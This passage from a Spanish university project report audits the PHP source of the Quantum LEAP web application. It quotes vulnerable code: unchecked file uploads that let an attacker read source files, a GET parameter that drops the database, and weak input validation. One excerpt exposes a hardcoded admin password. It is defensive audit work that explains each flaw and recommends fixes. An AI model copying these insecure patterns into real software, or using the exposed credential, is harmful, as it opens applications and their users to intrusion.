recomendable establecer esta opción a  E_ALL,  de manera que todos los errores, 
incluso los errores de tipo E_NOTICE, sean incluidos en el informe.
display_errors
Esta opción establece si los errores producidos durante la ejecución del código se 
mostrarán o no en pantalla (mezclados con  la salida «normal» del programa). Lo 
ideal es programar con esta opción activada, pero es conveniente desactivarla en el 
momento de la implantación de la aplicación. De este modo, los errores no pueden 
ser vistos por los visitantes, y evitaremos la posibilidad de que información sensible 
sobre   la   estructura   de   nuestra   aplicación   quede   expuesta   a   ojos   de   posibles 
atacantes.
log_errors
Esta opción determina si los errores serán almacenados en un registro o no. Siempre 
es deseable tenerla activada, aunque si durante el desarrollo tenemos activada la 
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opción  display_errors  podemos obviar el registro de errores. Aún así, algunos 
programadores son reticentes a activarla debido a supuestas cargas de rendimiento 
en el sistema. Ello resulta a todas luces desatinado, ya que el número de errores que 
la   aplicación   genera   debería   ser   escaso.  Si   el   almacenar   dichos  errores   en  un 
registro provoca una sobrecarga notable en el sistema, probablemente existen otros 
problemas más graves.
error_log
Esta opción indica donde se encuentra el archivo de registro de errores.
La recomendación más  importante al  margen de  los comentarios previos,  es  la de 
establecer el nivel de informe de errores a E_ALL. Este nivel de errores generará un informe 
siempre que haya una referencia a una variable no inicializada. Las variables no inicializadas 
son fuente de innumerables errores de programación y agujeros de seguridad. Mantener 
dicho   nivel   de   informe   de   errores   nos   ayudará   a   localizar   fácilmente   variables   no 
inicializadas.
4.2.2 Utilizar el modo seguro
Hemos hablado anteriormente del modo seguro en el punto «4.1.9 Seguridad de las  
sesiones», como una manera de minimizar las consecuencias de la ejecución de nuestras 
aplicaciones en servidores compartidos. Pero siempre que sea posible, es positivo intentar 
ejecutar  nuestras aplicaciones en el  entorno de ejecución restringido que proporciona el 
modo   seguro.   El   modo   seguro   nos   proporciona   toda   una   serie   de  mecanismos   para 
asegurarnos de que nuestra aplicación ejecuta correctamente nuestro código, y sólo nuestro 
código. 
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El primero de estos mecanismos es el que obtenemos mediante la configuración de la 
opción safe_mode_exec_dir. Dicha opción nos permite definir un directorio desde el cual se 
ejecutarán nuestros archivos, y ningún archivo contenido en otro lugar podrá ser ejecutado. 
De esta  manera,  aún cuando exista  un agujero de seguridad en nuestra  aplicación,   los 
atacantes  que  pretendan  ejecutar   comandos  aprovechando  dicha   vulnerabilidad  estarán 
limitados a aquellos scripts que se encuentren dentro del directorio configurado.
Otro   de   estos   mecanismos   es   el   que   nos   proporciona   la   variable 
safe_mode_allowerd_env_vars, que restringe la posibilidad que el usuario tiene de modificar 
las   variables   de   ambiente   a   las   que   aparecen   listadas   en   dicha   opción.   La   opción 
complementaria  a  ésta  es  safe_mode_protected_env_vars,  que es una  lista de aquellas 
variables de entorno que no deben poderse modificar aún cuando se encuentren en la lista 
de la opción anterior.
El  modo seguro provee de muchas más opciones de  restricción para aumentar   la 
seguridad de nuestra aplicación, para más detalles sobre ella, hay una extensa explicación 
en el Manual de PHP [4] . A pesar de todo, el modo seguro no está exento de problemas, y 
no es conveniente confiar toda la seguridad a esta opción. De hecho, debe utilizarse como 
medida de seguridad complementaria.
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5 CONCLUSIONES   
5.1 Vulnerabilidades encontradas en Quantum Leap
5.1.1 Impresiones previas
En un primer repaso del código fuente de Quantum LEAP (proporcionado en el cd 
adjunto), la primera impresión es contradictoria. 
Por un lado, tenemos una confusa mezcla de código PHP junto con HTML incrustado 
en los mismos archivos, entremezclando el flujo de la aplicación (controlador), con la interfaz 
(vista).  Además  de  esto,   las   librerías  utilizadas por  el   código,  que  son  incluidas en   los 
diferentes archivos, se encuentran también situadas en el mismo directorio que el resto del 
código, sin ningún tipo de distinción. Esto, junto a la indiscriminada utilización de variables 
globales en las librerías da una sensación de programación descuidada, o cuando menos, 
proclive a la generación de errores. 
En  los siguientes extractos del  código  fuente,  podemos observar estos hechos. La 
figura 3 comienza con código PHP, para posteriormente incluir un trozo de código HTML que 
a su vez contiene pequeños pedacitos de código PHP en su interior, para posteriormente 
retornar de nuevo al código PHP. 
<?php
$save = $_POST["save"];
if (($save == "reading") OR ($save == "writing") OR ($save == "listening") OR ($save 
== "speaking")) {
$seccio = strtoupper($save);
}
else {
$save = "preview";
}
include "registrar.php";
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$title = "Quantum LEAP : PERSONAL LOG";
$title2 = "&nbsp;PERSONAL LOG";
$veure_menu = FALSE;
include "header.php";
print "<td width=\"714\" class=\"textcursiva\"></td>";
?>
<td width="15">&nbsp;</td></tr><tr><td width="18">&nbsp;</td><td 
width="714">&nbsp;</td><td width="15">&nbsp;</td></tr><tr>
<td width="18">&nbsp;</td><td width="714" align="center" valign="top">
<?php
print "<table width=\"714\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr><td 
width=\"376\" height=\"16\" valign=\"middle\" class=\"sublink\">";
print "<a href=\"log.php?m=" . $modul . "\">&lt; Personal Log index</a>";
print "</td><td width=\"338\" align=\"right\" valign=\"middle\" class=\"sublink\"><a 
href=\"" . $save . ".php?m=" . $modul . "\">back to exercises &gt;</a>";
?>
</td></tr></table></td><td width="15">&nbsp;</td></tr><tr><td>&nbsp;</td><td 
width="714" align="center" valign="top">
<table width="714" border="0" cellpadding="0" cellspacing="1" bordercolor="#4088C0" 
bgcolor="#4088C0"><tr> 
<td height="20" bgcolor="#FEE89F" class="titol"><div align="center">
<?php
print "PERSONAL LOG";
print "</div></td></tr><tr><td align=\"center\" valign=\"top\" bgcolor=\"#FFFFFF\"><br 
/>";
print "<table width=\"660\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">";
if ($usuari_legal !== FALSE) {
$bd = bd_connecta();
Fig. 5.1 – Ejemplo de flujo de la lógica, extracto de código del archivo log.php (líneas 2 a 31)
function startElement($parser, $name, $attrs) {
global $seccio;
if ($seccio == "") {
$seccio = strtoupper(substr(basename($_SERVER["PHP_SELF"]),0,­4));
}
global $comptataula;
global $titol;
global $modul;
global $numeromodul;
global $parser_funcio;
global $parser_titols;
global $taula_exercicis;
global $prev_text;
global $prev_imatge;
switch ($name) {
case "QUANTUM":
$parser_funcio = 0;
break;
case "MODUL":
Fig 5.2 ­ Uso extensivo de variables globales, extracto de funcions.php (líneas 1023 a 1041)
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Tal y como se hace evidente en los ejemplos anteriores, es harto difícil seguir el flujo 
de la aplicación de una manera sencilla. Tenemos una multitud de variables globales que 
aparecen en lugares del código muy apartados del lugar donde fueron creadas. Si además, 
tenemos en cuenta que el  código está  plagado de sentencias  include()  en diferentes 
alturas de la mayoría de archivos, esto es aún más grave, puesto que esto es resultado de 
una flujo lógico que va saltando de archivo en archivo, al más puro estilo GOTO del antiguo y 
denostado lenguaje BASIC. Esto dificulta la tarea de agregar programadores adicionales al 
proyecto, puesto que la lógica de la aplicación se hace confusa en el constante entremezclar 
de maquetado HTML y programación PHP. Más aún si tenemos en cuenta la ausencia total 
de comentarios en el código.
En   el   otro   lado,   el   aspecto   positivo   es   que   parece   que   el   programador   o 
programadores de la aplicación tenían en mente la seguridad al crear el código fuente de la 
aplicación.   Las   sentencias   SQL   aparecen   correctamente   protegidas   con   la   función 
mysql_real_escape_string()  que   es   imprescindible   para   evitar   los   ataques   de 
Inyección SQL. Además de esto, el programador no utiliza el mecanismo de sesiones que 
PHP trae por defecto. En su lugar hace uso de unas cookies protegidas, con un identificador 
único generado con un buen nivel de aletoriedad. Estas cookies son almacenadas en base 
de datos asociadas a la IP del usuario, lo cual aumenta notablemente la seguridad.
En   los   siguientes   extractos   de   códigos,   se  muestra   el   sistema   de   seguridad   de 
sesiones creado por el programador:
function bd_comprova_cookie($uid,$ip,$bd) {
$usuari_valid = FALSE;
$query = sprintf("SELECT * FROM uactius WHERE ip='%s'",mysql_real_escape_string($ip));
$result = mysql_query($query,$bd);
if (!$result) {
mysql_free_result($result);
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return $usuari_valid;
}
while ($row = mysql_fetch_assoc($result)) {
$user = $row["id"];
if ($row["uid"] == $uid) {
$usuari_valid = $user;
}
}
mysql_free_result($result);
return $usuari_valid;
}
Fig. 5.3 – Comprobación de validez del usuario, extracto de funcions.php (líneas 815 a 831)
if ($usuari_legal !== FALSE) {
$uid = sha1(uniqid(mt_rand(),TRUE));
$ip = $_SERVER["REMOTE_ADDR"];
setcookie("quantum",$uid,0,"/",$domini);
bd_usuari_activar($usuari_legal,$uid,$ip,$bd);
}
Fig. 5.4 – Creación de la cookie, extracto de registrar.php (líneas 97 a 102)
5.1.2 Filtrado de datos SQL insuficiente
● Gravedad: Media
● Archivos afectados: funcions.php (librería)
● Peligro: Posibilidad de exposición de la estructura de la aplicación
La   primera   vulnerabilidad   encontrada   proviene   de   la   excesiva   confianza   del 
programador   en   el   filtrado   de   datos   que   provee   la   función 
mysql_real_escape_string(). Si bien es cierto que dicha función evitará la posibilidad 
de ataques mediante inyección de SQL, el programador no realiza ninguna comprobación 
adicional   sobre   el   formato   de   los   datos.   Apoyándose   en   este   hecho,   un   usuario 
malintencionado podría incluir en los formularios cadenas de caracteres de longitud extrema, 
buscando sobrepasar la longitud máxima definida en base de datos para ciertos campos.
Siendo el archivo afectado una librería con funciones que son utilizadas en todas las 
secciones de la aplicación, son múltiples los puntos de ésta que se ven debilitados por este 
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filtrado  insuficiente.  La gran mayoría de archivos  contienen  llamadas a  alguna de estas 
funciones, y es por tanto una vulnerabilidad extendida por todo el sistema.
$f_nom = $_POST["nom"];
$f_cognoms = $_POST["cognoms"];
$f_sexe = $_POST["sexe"];
$f_data = $_POST["any_naixement"] . "­" . $_POST["mes_naixement"] . "­" . $_POST["dia_naixement"];
$f_ciutat = $_POST["ciutat"];
$f_provincia = $_POST["provincia"];
$f_pais = $_POST["pais"];
$f_zip = $_POST["codipostal"];
$f_ofici = $_POST["ofici"];
$f_nofici = $_POST["nom_ofici"];
$f_institucio = $_POST["institucio"];
$f_disciplina = $_POST["disciplina"];
$f_llengua = $_POST["llengua"];
$f_estudia = $_POST["estudia_ara"];
$f_testudia = $_POST["estudia_temps"];
$f_curs = $_POST["curs_ara"];
$f_ncurs = $_POST["curs_nom"];
$f_idiomes = $_POST["altres_idiomes"];
$f_nidiomes = $_POST["quins_idiomes"];
$f_reading = $_POST["nivell_reading"];
$f_writing = $_POST["nivell_writing"];
$f_listening = $_POST["nivell_listening"];
$f_speaking = $_POST["nivell_speaking"];
$f_mail = $_POST["adreca_mail"];
$f_user = $_POST["username"];
$f_pass = $_POST["password"];
$f_pass2 = $_POST["password2"];
$operacio = $_GET["r"];
settype($operacio,"integer");
switch ($operacio) {
case 1:
include "form_registre1.php";
break;
case 2:
$error_registre = comprova_registre();
if ($error_registre != FALSE) {
include "form_registre1.php";
}
else {
$registre_enviat = 
mail_envia_registre($_POST["adreca_mail"],$_POST["nom"],$_POST["cognoms"]);
if ($registre_enviat !== FALSE) {
$bd = bd_connecta();
bd_crea_preusuari($f_user,$f_pass,$f_mail,$f_nom,$f_cognoms,$f_sexe,$f_data,$f_ciutat,$f_provincia,$f_pais,$f_zip,$f_ofici,
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$f_nofici,$f_institucio,$f_disciplina,$f_llengua,$f_estudia,$f_testudia,$f_curs,$f_ncurs,$f_idiomes,$f_nidiomes,$f_reading,$f_w
riting,$f_listening,$f_speaking,$registre_enviat,$bd);
bd_desconnecta($bd);
include "form_registre2.php";
}
Fig. 5.5 – Los datos no son comprobados antes de la llamada a la función, extracto de registrar.php 
(líneas 23 a 68)
bd_crea_preusuari($nom_usuari,$contrasenya,$adreca_mail,$nom,$cognoms,$sexe,$data_naixement,$ciutat,$provincia,$pai
s,$zip,$ofici,$nom_ofici,$institucio,$disciplina,$llengua,$estudia_ara,$estudia_temps,$curs_ara,$curs_nom,$altres_idiomes,$
quins_idiomes,$nreading,$nwriting,$nlistening,$nspeaking,$hash,$bd) {
$query = sprintf("INSERT INTO usuaris (
nom_usuari,
contrasenya,
adreca_mail,
nom,
cognoms,
sexe,
data_naixement,
ciutat,
provincia,
pais,
zip,
ofici,
nom_ofici,
institucio,
disciplina,
llengua,
estudia_ara,
estudia_temps,
curs_ara,
curs_nom,
altres_idiomes,
quins_idiomes,
nreading,
nwriting,
nlistening,
nspeaking,
hash,
verificat
) VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 
'%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s','0')",
mysql_real_escape_string($nom_usuari),
mysql_real_escape_string($contrasenya),
mysql_real_escape_string($adreca_mail),
mysql_real_escape_string($nom),
mysql_real_escape_string($cognoms),
mysql_real_escape_string($sexe),
mysql_real_escape_string($data_naixement),
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mysql_real_escape_string($ciutat),
mysql_real_escape_string($provincia),
mysql_real_escape_string($pais),
mysql_real_escape_string($zip),
mysql_real_escape_string($ofici),
mysql_real_escape_string($nom_ofici),
mysql_real_escape_string($institucio),
mysql_real_escape_string($disciplina),
mysql_real_escape_string($llengua),
mysql_real_escape_string($estudia_ara),
mysql_real_escape_string($estudia_temps),
mysql_real_escape_string($curs_ara),
mysql_real_escape_string($curs_nom),
mysql_real_escape_string($altres_idiomes),
mysql_real_escape_string($quins_idiomes),
mysql_real_escape_string($nreading),
mysql_real_escape_string($nwriting),
mysql_real_escape_string($nlistening),
mysql_real_escape_string($nspeaking),
mysql_real_escape_string($hash));
bd_query($query,$bd);
}
Fig. 5.6 – Función llamada en el ejemplo anterior, funcions.php (líneas 678 a 737)
En casos como el mencionado, la validación por parte del navegador no puede ser 
nuestra única comprobación. Dichas validaciones suelen ser realizadas mediante javascript, 
o mediante las limitaciones impuestas a través de las etiquetas HTML adecuadas, pero no 
tenemos el control del navegador del usuario, que podría haber desactivado JavaScript, o 
haber creado un formulario a medida para intentar explotar esto, tal y como mencionamos en 
el punto 4.1.3 Envío de formularios manipulados. 
Si a esto agregamos una configuración errónea del servidor, que muestre por pantalla 
al usuario los errores generados en la ejecución, el atacante podría obtener datos valiosos 
sobre la estructura de la base de datos de la aplicación, tan sólo observando dichos errores.
La solución a este problema pasa por agregar controles adicionales a los datos que 
van a ser utilizados en las sentencias SQL, comprobando que la longitud de los datos, así 
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como el resto del formato es adecuado para el tipo de campo de la base de datos en que va 
a ser utilizado.
5.1.3 Filtrado de datos $_GET insuficiente
● Gravedad: Baja
● Archivos   afectados:  funcions.php,   listening.php,   log.php, 
portfolio.php,   preview.php,   reading.php,   registrar.php, 
writing.php, xmlpars.php.
● Peligro: Posibilidad de exposición de la estructura de la aplicación
El   programador   realiza   aquí   también   un   primer   proceso   de   filtrado   de   los   datos 
provenientes de los parámetros $_GET. No obstante, podría ser que recibiera datos erróneos 
y que éstos fueran tomados por correctos. Esto se debe al hecho de que tras recibir dichos 
parámetros,   lo que el  programador está   realizando es una conversión de tipo.  Pero esa 
conversión   está   siendo   aceptada   incondicionalmente,   sin   comprobar   si   se   ha   realizado 
correctamente. Podemos observarlo en el siguiente trozo de código:
$activitat = $_GET["a"];
settype($activitat,"integer");
if (!isset($_GET["b"])) {
$exercici = 1;
}
else {
$exercici = $_GET["b"];
}
settype($exercici,"integer");
Fig. 5.7 – Conversión de tipo sin comprobar de parámetros $_GET, listening.php (líneas 51 a 59)
­ Página 67 ­
Antonio Manuel Hernández Sánchez – Memoria del proyecto Conclusiones
La forma correcta de proceder no sería la de comprobar que las conversiones se han 
realizado correctamente, sino ni tan siquiera intentar realizar la conversión. En el momento 
en que obtenemos un parámetro en un formato inesperado, tenemos que ser conscientes de 
que algo extraño está  ocurriendo. Podría ser debido a un error de programación, o a un 
ataque externo. En cualquier caso, la aplicación no debería continuar su ejecución como si 
nada ocurriera,  sino  que  debería  registrar  el  hecho,  y  gestionar  dicho  error  de  manera 
elegante cara  al  usuario   (por  ejemplo,  mostrando una pantalla  de error  en que puedan 
comunicarse con el administrador del sistema).
5.1.4 Archivo de datos XML visible
● Gravedad: Media
● Archivos afectados: activitats.xml
● Peligro: Posibilidad de exposición de la estructura de la aplicación
Los archivos xml no son nunca preprocesados por el  servidor en caso de que un 
usuario acceda a ellos directamente.  Muy al  contrario,   toda  la  información contenida en 
estos se mostrará al usuario que, intencionadamente o por error, haya llegado a la URL del 
archivo.
Se recomienda reemplazar el archivo en un lugar no accesible directamente por los 
usuarios de la aplicación web o, en caso de ser imposible, asegurarse mediante la aplicación 
de los permisos de archivo correspondiente que el único usuario del sistema que puede leer 
el archivo XML es el que está ejecutando el servidor apache. Además, una buena medida 
adicional   es   asegurarse   que   la   exploración   de   directorios   está   desactivada   en   la 
configuración del servidor web.
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5.1.5 Sistema de sesión ignora posibles cambios de IP
● Gravedad: Media
● Archivos afectados: Aplicación completa
● Peligro: Perdida de datos de la sesión de trabajo de los usuarios.
Aunque el sistema de gestión de las sesiones implementado por el programador de la 
aplicación mejora sensiblemente el tratamiento por defecto que PHP realiza de las sesiones, 
su aplicación puede resultar molesta a ciertos usuarios. Si bien no es usual, es posible que 
entre las diversas llamadas al servidor que un usuario realiza en su trabajo habitual con la 
aplicación, se produzca un cambio de IP en su conexión. Esto puede ser debido a que el 
usuario disponga de un acceso a internet mediante IP dinámica, y se haya producido un 
pequeño corte de conexión, con la consecuente reasignación de IP. Pero también puede ser 
debido a  la política del proveedor de acceso a Internet del usuario, como es  la de AOL 
(America  OnLine),   cuya   configuración   establece   que   la   dirección   IP   del   usuario   puede 
cambiar en cualquier momento de su conexión.
De esta manera, si durante una sesión de trabajo se produjese un cambio de dirección IP en 
la conexión del usuario, éste se vería obligado a tener que registrarse de nuevo (login) en la 
aplicación, con la consecuente molestia y posible pérdida de datos. Es más recomendables 
utilizar otros datos que sean invariables, como el User­Agent. Las figuras 5.3 y 5.4, de la 
introducción de este capítulo, nos muestran la implementación actual del control de acceso.
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5.1.6 Datos de $_FILES no comprobados
● Gravedad: Crítica
● Archivos afectados: portfolio.php
● Peligro: Exposición de credenciales de acceso y código fuente
Un ejemplo de vulnerabilidad crítica debido a una inexistente validación o filtrado de 
datos se da en la sección de  Portfolio  de Quantum LEAP. Aunque difícil de explotar, esta 
vulnerabilidad podría conducir a un atacante a tomar el control total de la aplicación, debido 
a que potencialmente la vulnerabilidad le permitiría acceso a todo el código fuente de esta. 
Tras recibir un formulario en el que  el usuario puede incluir ficheros adjuntos para que 
sean  subidos  al   servidor,   no  se   realiza  ninguna  comprobación  de  validez  de   los  datos 
obtenidos. Así pues, los datos obtenidos dentro de los arrays $_FILE de PHP son tomados 
por válidos, y almacenados directamente en la base de datos. Posteriormente, este archivo 
puede ser mostrado directamente en pantalla, cuando el usuario así lo solicite. 
<?php
include "registrar.php";
if (($usuari_legal !== FALSE) AND ($_GET["s"] == "dl") AND (isset($_GET["f"]))) {
$fitxer_id = arregla_text($_GET["f"]);
settype($fitxer_id,"integer");
$bd = bd_connecta();
if (bd_portfolio_permisos($usuari_legal,$fitxer_id,$bd)) {
bd_portfolio_download($fitxer_id,$bd);
bd_desconnecta($bd);
exit;
}
bd_desconnecta($bd);
}
$title = "Quantum LEAP : PORTFOLIO";
$title2 = "&nbsp;PORTFOLIO";
$veure_menu = FALSE;
include "header.php";
print "<td width=\"714\" class=\"textcursiva\"></td>";
?>
<td width="15">&nbsp;</td></tr><tr><td width="18">&nbsp;</td><td width="714">&nbsp;</td><td 
width="15">&nbsp;</td></tr><tr>
<td width="18">&nbsp;</td><td width="714" align="center" valign="top">
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<?php
print "<table width=\"714\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr><td width=\"376\" height=\"16\" 
valign=\"middle\" class=\"sublink\">";
print "<a href=\"preview.php?m=" . $modul . "\">&lt; back to the exercises</a>";
print "</td><td width=\"338\" align=\"right\" valign=\"middle\" class=\"sublink\">";
?>
</td></tr></table></td><td width="15">&nbsp;</td></tr><tr><td>&nbsp;</td><td width="714" align="center" 
valign="top">
<table width="714" border="0" cellpadding="0" cellspacing="1" bordercolor="#4088C0" bgcolor="#4088C0"><tr> 
<td height="20" bgcolor="#FEE89F" class="titol"><div align="center">
<?php
print "PORTFOLIO";
print "</div></td></tr><tr><td align=\"center\" valign=\"top\" bgcolor=\"#FFFFFF\"><br />";
print "<table width=\"660\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">";
if ($usuari_legal !== FALSE) {
$bd = bd_connecta();
if (isset($_FILES["carrega"])) {
bd_portfolio_upload($usuari_legal,$bd);
}
$portfolio = bd_portfolio($usuari_legal,$bd);
bd_desconnecta($bd);
print "<tr><td class=\"textblaupetit\" colspan=\"2\" align=\"center\" bgcolor=\"#FEE89F\">MY 
FILES</td></tr>";
print "<tr><td colspan=\"2\">&nbsp;</td></tr>";
print "<tr><td class=\"text\" colspan=\"2\" align=\"center\">Current files</td></tr>";
print "<tr><td colspan=\"2\">&nbsp;</td></tr>";
$index = 0;
while (isset($portfolio[$index])) {
print "<tr><td colspan=\"2\">";
print "<table width=\"100%\" border=\"0\" cellspacing=\"5\" cellpadding=\"2\">";
print "<tr><td colspan=\"4\" align=\"center\" bgcolor=\"#4088C0\" class=\"textblanc\">";
print $portfolio[$index]["nom"];
print "</td></tr><tr><td width=\"40%\" class=\"text\">";
print "Type: " . $portfolio[$index]["tipus"];
print "</td><td width=\"20%\" class=\"text\">";
print "Size: " . round(($portfolio[$index]["mida"] / 1024),1) . " KB";
print "</td><td width=\"20%\" class=\"text\">";
print "Sharing: ";
switch ($portfolio[$index]["permisos"]) {
case 0:
print "Private";
break;
case 1:
print "Classroom";
break;
case 2:
print "Public";
break;
}
print "</td><td width=\"20%\" class=\"text\">";
print "<a href=\"portfolio.php?m=" . $modul . "&s=dl&f=" . $portfolio[$index]["id"] . "\" 
class=\"linknegreta\">Download</a>";
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print "</td></tr></table>";
print "</td></tr>";
$index++;
}
print "<tr><td colspan=\"2\">&nbsp;</td></tr>";
print "<tr><td class=\"textblaupetit\" colspan=\"2\" align=\"center\" 
bgcolor=\"#FEE89F\">UPLOAD</td></tr>";
print "<tr><td colspan=\"2\">&nbsp;</td></tr>";
print "<form enctype=\"multipart/form­data\" action=\"\" method=\"POST\">";
print "<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"1000000\" />";
print "<tr><td colspan=\"2\">";
print "<input type=\"file\" class=\"caixa\" name=\"carrega\" />";
print "<input type=\"submit\" class=\"text\" value=\"Upload\" />";
print "</td></tr></form>";
print "<tr><td colspan=\"2\">&nbsp;</td></tr>";
print "</table><br /><br /></td></tr><tr><td height=\"22\" align=\"center\" valign=\"top\" 
bgcolor=\"#4088C0\">";
print "<table width=\"714\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr><td width=\"675\" 
class=\"textblanc\">";
print "&nbsp;</td>";
print "<td width=\"34\">&nbsp;</td>";
print "<td width=\"5\">&nbsp;</td></tr></table>";
}
else {
$dne_error = 3;
include "dne.php";
}
$veure_moduls = TRUE;
include "footer.php";
?>
Fig 5.8 – Código fuente de portfolio.php No se realizan comprobaciones sobre el array $_FILES
Esta ausencia de filtrado hace a esta parte de la aplicación vulnerable a un ataque de 
tipo Peticiones HTTP manipuladas (punto 4.1.4). Así pues, si un atacante modifica la petición 
HTTP   de   manera   que,   por   ejemplo,   el   archivo   supuestamente   subido   por   él   fuese 
«admin.php» (un nombre de archivo, por cierto, muy común en las aplicaciones PHP y, por 
tanto, fácilmente adivinable), almacenaría en su portfolio particular el código fuente de ese 
archivo. Esto es posible debido a que dicho archivo concede permisos de lectura al servidor 
web, como es lógico por otra parte. En consecuencia, accediendo al enlace para mostrar 
dicho archivo dentro de la aplicación, se encontraría, entre otras cosas, con la manera de 
gestionar las credenciales de acceso de los administradores de la aplicación.
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<?php
include "funcions.php";
$password = md5("pocafeina");
$domini = "eprints.upc.es";
ini_set(max_execution_time,1);
//error_reporting(0);
if (isset($_POST["cs"])) {
setcookie("myr_p",md5($_POST["cs"]),0,"/",$domini);
$contrasenya = md5($_POST["cs"]);
}
else {
if (isset($_COOKIE["myr_p"])) {
$contrasenya = $_COOKIE["myr_p"];
}
}
if ($contrasenya == $password) {
print "<html><head><title>:: Myr ::</title><style type=\"text/css\">";
?>
Fig. 5.9 – Primeras 22 líneas de admin.php
La solución a esta vulnerabilidad es bien sencilla: realizar una pequeña comprobación 
sobre los datos recibidos en $_FILES. Podría ser suficiente con comprobar que la ruta del 
archivo que hemos recibido es efectivamente la esperada, el directorio temporal del sistema 
(que es donde, por defecto, van los archivos que el usuario envía a través de formularios 
hacia el servidor).
5.1.7 Realización de tareas críticas mediante parámetros GET
● Gravedad: Crítica
● Archivos afectados: myr.php
● Peligro: Pérdida de los datos de la aplicación
El protocolo HTTP establece que cualquier acción irreversible que tenga lugar en una 
aplicación web nunca debería llevarse a cabo mediante el establecimiento de un parámetro 
de tipo GET. Esto es así debido a que dichos parámetros forman parte de la URL, y por tanto 
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dichas acciones pueden ser  invocadas  fuera de contexto.  Pensemos por  ejemplo en un 
usuario que realiza un marcador en los favoritos de su navegador (bookmark) en el momento 
en que uno de esos parámetros está apareciendo en la URL. Este descuido podría llevar a 
repetir la acción determinada por dichos parámetros cada vez que el usuario hiciese uso de 
ese marcador.  Más  grave aún es  si  esto  se  produce  en una  parte  pública   (sin  acceso 
restringido)   de   la   aplicación,   puesto   que  motores   de   búsqueda   como  Google  pueden 
almacenar en su base de datos  las URL con dichos parámetros, con  las consecuencias 
desastrosas que eso podría acarrear.
En el caso de la aplicación Quantum LEAP, esta vulnerabilidad se produce dentro del 
apartado de administración, y por tanto de acceso restringido. En el archivo myr.php hay dos 
opciones, para crear o borrar la base de datos, que se producen simplemente mediante la 
inclusión de un parámetro GET. Si el usuario (administrador de la aplicación en este caso), 
por descuido o simple desconocimiento, almacenara dicha URL en los favoritos, o accediera 
a ella a través del historial del navegador, los resultados son potencialmente desastrosos, 
pudiendo llegar a borrar datos de la base de datos.
Aquí tenemos el extracto de código en que se puede producir el desastre:
if (isset($_GET["bd"])) {
$bd = bd_connecta();
switch ($_GET["bd"]) {
case "1":
bd_nova($bd);
print "<p class=\"text\">BD creada</p>";
break;
case "2":
bd_drop($bd);
print "<p class=\"text\">BD esborrada</p>";
break;
default:
}
bd_desconnecta($bd);
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}
Fig. 5.10 – Grave vulnerabilidad en myr.php (líneas 245 a 259)
La solución a este problema es cambiar el funcionamiento de dichas opciones para 
que el  parámetro  a   tener  en cuenta  sea de  tipo POST.  De esta  manera  eliminamos el 
parámetro de la URL, y no sería posible invocar el borrado de la base de datos por error.
5.2 Conclusiones y recomendaciones
Como se ha comentado en la introducción de este último capítulo, la sensación que se 
recibe   de   la   observación   del   código   fuente   de   Quantum   LEAP   es   contradictoria.   Mi 
suposición es que el desarrollo y programación de la aplicación ha sido llevado a cabo por 
un programador competente, pero en unos plazos de tiempo inadecuados. La aplicación 
funciona correctamente   (a  pesar  de  las  vulnerabilidades mencionadas que deberían ser 
corregidas   y   evitadas   en   desarrollos   futuros),   pero   no   se   ha   programado   de  manera 
elegante, y dista mucho de ser completa.
Debido a como está estructurada la programación, resultaría costoso añadir nuevos 
programadores al proyecto, el flujo y la lógica de la aplicación se hacen difíciles de seguir, al 
mezclarse el código PHP con el maquetado HTML en prácticamente todas las secciones, 
además de que dicha lógica se reparte en diversos archivos incluidos en diferentes partes 
de los archivos principales (los que son llamados en la URL).
La   incorporación   de   estándares   de   programación   ayudaría   mucho   a   aclarar   el 
funcionamiento del sistema, tanto para posibles programadores adicionales, como para el 
mismo programador que ha desarrollado el código existente. Así pues, una referencia que se 
hace   imprescindible   mencionar   son   los   «estándares   de   programación   de   PEAR» 
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(http://www.go­pear.org/manual/en/standards.php), el estándar de facto en la comunidad de 
programadores PHP para el formato del código fuente.
También sería conveniente aplicar un patrón de desarrollo MVC (Modelo – Vista  – 
Controlador). Para realizarlo, no es necesario utilizar complejas herramientas orientadas a 
objetos como es  CakePHP  (http://www.cakephp.org/) dado que quizá la envergadura de la 
aplicación Quantum LEAP no la hace necesaria. Pero sí considero necesario realizar una 
mínima separación del código fuente mediante este patrón. Una buena referencia inicial para 
comprender el patrón es la concisa pero aclaradora guía «MVC en tres pasos, en PHP y sin 
objetos (y nada más)» (http://jacobo.tarrio.org/ex/txt/mvc.html) de Jacobo Tarrío.
Además, para evitar tener el código fuente expuesto dentro del espacio público del 
servidor, con los consecuentes riesgos de explotación de vulnerabilidades, sería adecuado 
implementar   un  patrón  de   «Controlador  Frontal»   (Front  Controller).  De  esta  manera,   el 
código fuente podría ser almacenado en los lugares sin acceso público del servidor, y el 
controlador frontal se encargaría  de realizar las llamadas a los archivos correspondientes. 
Un buen artículo sobre el controlador frontal en PHP es «Building a PHP Front Controller» 
(http://www.onlamp.com/pub/a/php/2004/07/08/front_controller.html).
La aplicación no tiene ningún sistema de gestión de errores ni registro incorporado. 
Esto es vital de cara a un sistema que tendrá bastantes usuarios. Y es así no sólo porque es 
necesario almacenar todas las incidencias producidas en la aplicación, sino como manera 
de aumentar la elegancia en la gestión de los errores que se puedan producir, y por tanto, 
aumentar la satisfacción del usuario con la aplicación. En el manual de PHP tenemos una 
sección dedicada a dicho aspecto de la programación: http://www.php.net/errorfunc
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Para terminar, y en conclusión es necesario, además de solventar las vulnerabilidades 
encontradas en la auditoría realizada, realizar una pequeña reestructuración del código para 
hacerlo más claro y elegante. Pero no menos importante, y que todos los programadores, 
sea cual sea el lenguaje que utilicen, tienden a obviar: Comentar el código realizado.
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